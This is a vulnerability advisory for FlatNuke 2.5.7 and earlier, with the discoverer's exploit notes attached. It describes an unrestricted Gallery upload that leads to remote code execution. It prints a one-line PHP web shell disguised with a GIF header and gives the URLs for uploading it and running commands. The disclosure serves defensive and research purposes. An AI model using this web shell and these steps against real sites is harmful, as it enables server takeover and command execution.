Impact: Execution of arbitrary code via network, User access via network

Exploit Included: Yes
|
Version(s): 2.5.7 and prior versions

Description: A vulnerability was reported in FlatNuke. A remote user can include and execute arbitrary code on the target system.
The Gallery upload function does not properly validate user-supplied files. If user gallery uploads are enabled [not the default
configuration], a remote user can upload a file that is ostensibly an image file but instead contains arbitrary PHP code. Then,
the remote user can invoke the uploaded file (which will be renamed by the system) to cause the PHP code to be executed. The PHP
code, including operating system commands, will run with the privileges of the target web service.
Some demonstration exploit
file contents are provided:
GIF86<?php system($GET[cmd]);?>
rgod reported this vulnerability.

----- Flatnuke 2.5.7 arbitrary file upload / remote code execution -------------
software:
site: http://www.flatnuke.org/
--------------------------------------------------------------------------------
if user Gallery uploads are enabled (not the default) you can go to:
http://[target]/[path_to_flatnuke]/index.php?mod=Gallery
to upload a shell.php file, ex:
GIF86<?php system($GET[cmd]);?>
file is renamed like this:
shell_by_[username].php
now you can launch commands, ex:
http://[target]/[path]/sections/Gallery/shell_by_rgod.php?cmd=ls%20-la
